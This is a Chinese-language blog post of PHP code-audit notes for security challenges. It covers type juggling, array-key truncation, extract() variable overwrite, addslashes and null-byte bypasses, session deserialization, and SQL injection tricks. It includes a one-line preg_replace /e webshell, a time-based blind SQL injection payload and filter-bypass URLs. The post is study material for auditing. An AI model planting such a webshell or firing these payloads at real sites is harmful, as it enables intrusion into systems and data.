前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PHP代码审计笔记

PHP代码审计笔记

作者头像
用户5878089
发布2019-07-23 10:47:40
1.1K0
发布2019-07-23 10:47:40
举报

数组比较

http://blog.evalbug.com/2015/11/10/different_arrays_compare_indentical_due_to_integer_key_truncation/

代码语言:javascript
复制
<?php

$flag ="XXXX"; 

if(empty($_GET['user'])) die(show_source(__FILE__));

$user = ['admin', 'xxoo'];

if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){
    echo $flag;
}
?>
//http://localhost/test.php?user[1]=xxoo&user[4294967296]=admin

strcmp()

strcmp(string str1,stringstr2); 比较str1和str2 如果长度1>2 返回1否则返回0 但是仅限于两者数据类型相同 如果s1是一个int型 s2是个string型就无法比较 返回的永远是0

extract()

函数从数组中将变量导入到当前的符号表。

extract($_GET)存在变量覆盖漏洞

preg_match()

代码语言:javascript
复制
$fangzhang = "hongyaasasashoasasngyaaaaahongyaaa:/a/aahongya";
$IsMatch= preg_match("/hongya.*ho.*ngya.{4}hongya{3}:\/.\/(.*hongya)/i", $fangzhang, $match);

echo $IsMatch;

正则表达式匹配

preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE

ereg()

ereg

代码语言:javascript
复制
**ereg**     ( string `$pattern`    , string `$string`    [, array `&$regs`   ] ) : int

以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。

rand()

在linux下,PHP的rand函数是调用glibc库中的rand函数,其实现是有缺陷的。可见这篇文章

http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

代码语言:javascript
复制
state[i] = state[i-3] + state[i-31] 

字符串

查一下php手册;http://php.net/manual/zh/language.types.string.php 。除了用单引号,双引号表示字符串外,还有以下两种:

  • heredoc 语法结构
  • nowdoc 语法结构

parse_url()

代码语言:javascript
复制
mixed parse_url ( string $url [, int $component = -1 ] )

本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。

url:要解析的 URL。无效字符将使用 _ 来替换。

代码语言:javascript
复制
component:

指定 PHP_URL_SCHEMEPHP_URL_HOSTPHP_URL_PORTPHP_URL_USERPHP_URL_PASSPHP_URL_PATHPHP_URL_QUERYPHP_URL_FRAGMENT 的其中一个来获取 URL 中指定的部分的 string。 (除了指定为PHP_URL_PORT 后,将返回一个 integer 的值)。

代码语言:javascript
复制
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
代码语言:javascript
复制
Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)
/path
  • #### parse_url()会把//认为是相对路径(5.4.7以前)

///会被返回false

例如如下代码,如果输入http://localhost/1.php?sql=select会被过滤

parsestr()

对字符串进行解析,同时还自带urldecode功能,所以参数通过使用%2527就可以绕过addslashes函数

stripcslashes()

反引用一个使用 addcslashes() 转义的字符串

返回反转义后的字符串。可识别类似 C 语言的 \n\r,… 八进制以及十六进制的描述。

代码语言:javascript
复制
stripcslashes('H\xaello') == 'H'.chr(0xAE).'llo'

is_numeric()和int类型转换

is_numeric()支持普通数字型字符串、科学记数法型字符串、部分支持十六进制0x型字符串。

强制类型转换int,不能正确转换的类型有十六进制型字符串、科学计数法型字符串(部分)。

代码语言:javascript
复制
<?php
show_source(__FILE__);
$temp = $_GET['temp'];
echo (int)$temp;
?> 

?temp=0x76a701 输出0

?temp=0e11输出0

?temp=4e11输出4

addslashes()

使用反斜线引用字符串

在单引号 双引号 反斜线 与NUl 前面加上反斜线

preg_replace()

/e

PHP5.5.0以下可用,5.5.0及以上版本已经被弃用了。使用 preg_replace_callback() 代替。/e 即 PREG_REPLACE_EVAL。

执行一个正则表达式的搜索和替换

代码语言:javascript
复制
 preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

搜索subject中匹配pattern的部分, 以replacement进行替换。

如果subject是一个数组, preg_replace()返回一个数组,其他情况下返回一个字符串。

webshell代码

代码语言:javascript
复制
<?php
@preg_replace(``"/[pageerror]/e"``,$_POST[``'error'``],``"saft"``);

关于GPC和REQUESTS

字母出现顺序越靠后则数据加载的顺序越靠前,也就是说如果以POST、GET方式传入同样的变量,那么用REQUEST获取的就是POST的变量值。

https://doubler.cn/2018/10/13/PHP-Audit-Labs-Day12/

代码语言:javascript
复制
<?php

$a = "aaa\'";
$a = addslashes($a);
$c = "\$option='$a';";
$str = $a;
echo $a;
echo "\n";
echo $c;
echo "\n";
$file = "\$option='asa';";
// $file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
$file = preg_replace('|\$option=\'.*\';|', $c, $file);
echo $file;

这里面有一个疑问,运行的结果如下

代码语言:javascript
复制
aaa\\\'
$option='aaa\\\'';
$option='aaa\\'';

为什么会吃掉一个字符串。

反序列化问题

PHP Session 序列化及反序列化处理器设置使用不当会带来的安全隐患

http://www.91ri.org/15925.html

http://www.vuln.cn/6413

PHP 内置了多种处理器用于存取PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:

处理器

对应的存储格式

php

键名 + 竖线 + 经过 serialize() 函数反序列处理的值

php_binary

键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值

php_serialize (php>=5.5.4)

经过 serialize() 函数反序列处理的数组

当 session.auto_start=On 时:

因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的

session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。

关于phpinfo()

https://zeroyu.xyz/2018/11/13/what-phpinfo-can-tell-we/

关于00绕过

0x00 为16进制的截断字符

%00 经过url解码之后为截断字符

ereg()函数存在NULL截断漏洞

SQL注入

bypass

  • https://yq.aliyun.com/articles/436608
  • <br />'||if(rpad(`key`,1,1)='a',sleep(3),1)#<br />

update注入

代码语言:javascript
复制
https://paper.seebug.org/216/
代码语言:javascript
复制
mysql
PDATE student D
  LEFT JOIN (SELECT 
        B.studentId,
                SUM(B.score) AS s_sum,
                ROUND(AVG(B.score),1) AS s_avg
           FROM score B
          WHERE b.examTime >= '2015-03-10'
          GROUP BY B.studentId) C
    ON (C.studentId = D.id)

   SET D.score_sum = c.s_sum,
       D.score_avg = c.s_avg
 WHERE D.id = 
       (
         SELECT 
        E.id FROM 
        (
                  SELECT 
                DISTINCT a.studentId AS id
                    FROM score A
                   WHERE A.examTime >= '2015-03-10'
                ) E 
          WHERE E.id = D.id
       )
   AND d.age = 1;

mysql注入技巧

  • /*!*/ 只在mysql中有用,在别的数据库中这只是注释,但是在mysql,/*!select 1*/可以成功执行,在语句前可以加上5位数字,代表版本号,表示只有在大于该版本的mysql中不作为注释 select /*!50709version()*/;

报错注入原理

  • UpdateXML(xml_target, xpath_expr, new_xml) updatexml函数有三个参数,作用是xml替换,把xml_target中被xpath_expr匹配到的部分使用new_xml替换 这个报错注入的原理是利用updatexml的参数错误,首先不能有语法错误,要不然注入的语句根本无法执行,语法正确后,先去执行concat(0x27,(/*!00000select version()*/)),得到'5.5.42-log,作为第二个参数传入updatexml函数中,而updatexml第二个参数为xml的匹配表达式,单引号为非法字符,因此报错,输出错误内容'5.5.42-log, 因此得到了你想要得到的数据
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-06-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 数组比较
  • strcmp()
  • extract()
  • preg_match()
  • ereg()
  • rand()
  • 字符串
  • parse_url()
  • parsestr()
  • stripcslashes()
  • is_numeric()和int类型转换
  • addslashes()
  • preg_replace()
    • /e
    • 关于GPC和REQUESTS
    • 反序列化问题
    • 关于phpinfo()
    • 关于00绕过
    • SQL注入
      • bypass
        • update注入
          • mysql注入技巧
            • 报错注入原理
            相关产品与服务
            文件存储
            文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档